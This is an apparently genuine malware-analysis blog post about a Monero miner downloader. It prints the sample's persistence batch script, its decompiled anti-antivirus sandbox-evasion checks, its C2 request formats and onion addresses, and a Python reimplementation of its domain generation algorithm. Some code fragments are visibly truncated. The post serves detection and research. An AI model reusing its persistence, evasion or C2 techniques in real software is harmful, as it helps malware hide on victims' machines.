cover image for post 'The DGA of a Monero Miner Downloader'

The DGA of a Monero Miner Downloader

This blog posts deals with a domain generation algorithm (DGA) with exotic top levels like .tickets, .blackfriday or .feedback. Among others, Bert Hubert noticed the DGA domains and posted them on Twitter:

Paul Melson associated one of the domains with a Monero Miner:

I found this sample, which produces these domains

7734 KB, 7919356 Bytes

The executable is a Nullsoft installer that drops three files:

This could be cracked version of PowerISO 6, with potentially additional malware. I didn’t analyse the file. (MD5: 31594d28c74f367073ba17acea9809f6)
The actual malware that this post is about. (MD5: 1d47bd7706b2032aa41257c92cb0e3b1)
An install script to copy svchostc.exe to the local appdata and to create a scheduled task to run it on reboot (MD5: 31c740ee5ebd975decd8345baa5ff4e6).

The launcher.bat copies the malware to the local AppData folder and creates a scheduled task to run the binary svchostc.exe when the client starts (after a 10 minute delay):

@echo off
echo "PATCHING..."
set installpath=%~1
if not exist "%LOCALAPPDATA%\svchostc\" mkdir %LOCALAPPDATA%\svchostc\ >nul 2>&1
move "%installpath%\svchostc.exe" "%LOCALAPPDATA%\svchostc\svchostc.exe" >nul 2>&1
schtasks /create /tn svchostc /sc ONSTART /DELAY 0010:00 /RL HIGHEST →
  /tr "%LOCALAPPDATA%\svchostc\svchostc.exe" /f >nul 2>&1
start "" "%LOCALAPPDATA%\svchostc\svchostc.exe"

(goto) 2>nul & del "%~f0"

You find the artifacts of an actual infection – including the svchostc.exe – in this GitHub repository. None of the generated C2 DGA domains currently delivers any payload, but both the artifacts in the GitHub repository, as well as the tweet by Paul Melson, hint a dropped Monero miner.

About the Downloader

I did not find any public reports of the downloader svchostc.exe (1d47bd7706b2032aa41257c92cb0e3b1), and even though the sample is classified as malicious by many AV products, they only give it generic names. While trying to find other samples, I stumbled upon this executable:

23213 KB, 23769216 Bytes

Many AV call this sample Riskware or Not-a-virus. The sample has very similar functionality, but differs in the C2 communication, most notably it does not have a DGA. I will still include it in the discussion of the malware.

Both samples are written in C++ and don’t have their debug information stripped (as DWARF). I will therefore use the original names of the functions given by the malware authors.

Both samples perform four steps:

  1. Check for AV software and exit if one is detected.
  2. Collect system information.
  3. Contact C2 servers to download the actual malware.
  4. Make sure the downloaded malware is running, restarting it if necessary.

Step 1: Anti AV

Both samples use the same anti AV emulation checks, which they call avTests. All tests are taken from the paper “Bypass Antivirus Dynamic Analysis” by Emeric Nasi from August 2014. In total there are six tests a to f. If any test returns True, the malware sleeps 10 seconds and exits.

a - flsTest

This is the test Example 2: What the fuck are FLS?:

bool flsTest(void)
  return FlsAlloc(0i64) != FLS_OUT_OF_INDEXES;

b - winApiTest

This is the test Example 1: What the fuck is NUMA?:

bool winApiTest(void)
  HANDLE hProcess; // rax

  hProcess = GetCurrentProcess();
  return VirtualAllocExNuma(hProcess, 0i64, 1000ui64, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE, 0) != 0i64;

c - timeDistortionTest

This is the test Example 2: Time distortion:

_BOOL8 timeDistortionTest(void)
  DWORD ticks_after; // [rsp+28h] [rbp-8h]
  DWORD ticks_before; // [rsp+2Ch] [rbp-4h]

  ticks_before = GetTickCount();
  ticks_after = GetTickCount();
  return ticks_before + 1000 <= ticks_after && ticks_before + 1500 >= ticks_after;

d - systemProcessTest

This is the test Example 1: Attempt to open a system process:

bool systemProcessTest(void)
  return OpenProcess(PROCESS_ALL_ACCESS, 0, 4u) == 0i64;

e - incrementTest

This is the test Example 2: Hundred million increments:

bool incrementTest(void)
  int i; // [rsp+8h] [rbp-8h]
  int cpt; // [rsp+Ch] [rbp-4h]

  cpt = 0;
  for ( i = 0; i <= 99999999; ++i )
  return cpt == 100000000;

f - memoryTest

This is the test Example 1: Allocate and fill 100M memory:

__int64 memoryTest(void)
  void *Block; // [rsp+28h] [rbp-8h]

  Block = malloc(100000000ui64);
  if ( !Block )
    return 0i64;
  memset(Block, 0, 100000000ui64);
  return 1i64;

Step 2: Collect System Information

The DGA sample only collects two pieces of information:

  • The number of processors of the infected system (with GetSystemInfo).
  • The installed version of the Monero miner.

The version of the miner is saved as a filename in the directory CSIDL_LOCAL_APPDATA\svchostc, for example in C:\Users\User\AppData\Local\svchostc. The filename has the format wincache<nr>, where <nr> is the version number (as an integer). An example of such a file can be seen in the aforementioned GitHub repository with artifacts:

In this case the version number would be 15. The version number and the number of processors are then stored in a string ;v:<version>;c:<nrofprocessors>, e.g., ;v:15;c:2, which is then base64-encoded (e.g., O3Y6MTU7YzoyIC1uCg==).

The Tor-based downloader generates a much more detailed system report, by running the following commands:

  • cmd.exe /c "(wmic computersystem get /format:list)
  • cmd.exe /c "(wmic cpu get /format:list)
  • cmd.exe /c "(wmic memorychip get /format:list)
  • cmd.exe /c "(wmic path Win32_VideoController get /format:list)
  • cmd.exe /c "(wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get /format:list)
  • cmd.exe /c "(wmic nicconfig get /format:list)
  • cmd.exe /c "(wmic os get /format:list)
  • cmd.exe /c "(wmic path Win32_SystemEnclosure get /format:list)

Step 3: Downloading the Malware

The Tor-based downloader comes with Tor version, which it installs to %LOCALAPPDATA%\Temp\. It then tries to contact over Proxy to see if Tor is running. Otherwise it will try to reinstall the software until the connection to Google over Tor succeeds.

The malware then tries to download the payload from two domains on an alternating basis:

  • asxe4d2fmz7ji5ux.onion
  • dyvt2mleg33f6zdb.onion

The DGA based malware does not use Tor, and uses algorithmically generated domains, as described in Section DGA.

The next steps are almost identical for both variants. I’m only presenting the DGA-based version. First, the malware sends the system information to a file called hello.php with a simple HTTP GET request:

GET /hello.php?info=O3Y6MDtjOjI= HTTP/1.1
Connection: close

The response either needs to have a Content-Length HTTP-header, or it needs to set the length of the payload as the first line after optional http headers. The length is stored as text, an interpreted as base 16.

After that follows a 512 byte RSA signature, and then the signed content, which is just an integer version number stored as text:

<512 Bytes signature>
<version nr>

The signature is verified with the following RSA key:


If the signature of the version number is OK, and the version is greater than an already installed miner, then a second HTTP request is made:

GET /binary HTTP/1.1
Connection: close

The response has the same format as before, but instead of the version number, an unencrypted archive is delivered with the malware.


The DGA-based malware is very noisy. It generates an infinte number of domains until it gets a valid signed payload:

The downloader has five top level domains:

  • .org
  • .tickets
  • .blackfriday
  • .hosting
  • .feedback

Each of the tld is passed to a separated thread that generates the second level domain and then performs the download operation discussed before.

The DGA generates up to 500 second level domains per day (i.e., 2500 different domains), going back in time if the number is exhausted. The first domain per day is special, as it is always using the hardcoded second level domain 31b4bd31fg1x2. The remaining 499 domains are generated as follows:

  1. Determine the number of days since epoch (1.1.1970)
  2. Join a hardcoded magic string (jkhhksugrhtijys78g46), the number of days since epoch, and the current domain nr (1 to 499) with dashes “-”. For example jkhhksugrhtijys78g46-18243-1.
  3. MD5-hash the string, e.g., 00120343a5dc7d2e4e11938b0e1fed43
  4. Use the first 13 letters of the hash as the second level domain, and add the top level domain for the thread, e.g.,

The following reimplementation in Python illustrates the domain generating procedure.

Python Reimplementation

from datetime import datetime
import hashlib
import argparse

tlds = [

magic = "jkhhksugrhtijys78g46"
special = "31b4bd31fg1x2"

def dga(date, back=0):
    epoch = datetime(1970, 1, 1)
    days_since_epoch = (date - epoch).days
    days = days_since_epoch
    for j in range(back+1):
        for nr in range(500):
            for tld in tlds:
                seed = "{}-{}-{}".format(magic, days, nr)
                m = hashlib.md5(seed.encode('ascii')).hexdigest()
                mc = m[:13]
                if nr == 0:
                    sld = special
                    sld = mc

                domain = "{}{}".format(sld, tld)
                yield domain
        days -= 1

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-d", "--date", help="date when domains are generated")
    args = parser.parse_args()
        d = datetime.strptime(, "%Y-%m-%d")
        d =
    for domain in dga(d):

For example, the domains shown in the screenshot of the Tweets are from April 10th, 2018, and can be generated as follows:

python3 --date 2018-04-10


The DGA has these properties:

TDD (time-dependent deterministic)
generation scheme
MD5 hashing
current date and magic string
domain change frequency
1 day
domains per day
499 (+1 hardcoded)
each tld runs in separate thread, within which the domains are generated sequentially
wait time between domains
top level domains:
.org, .tickets, .blackfriday, .hosting, .feedback
second level characters
second level domain length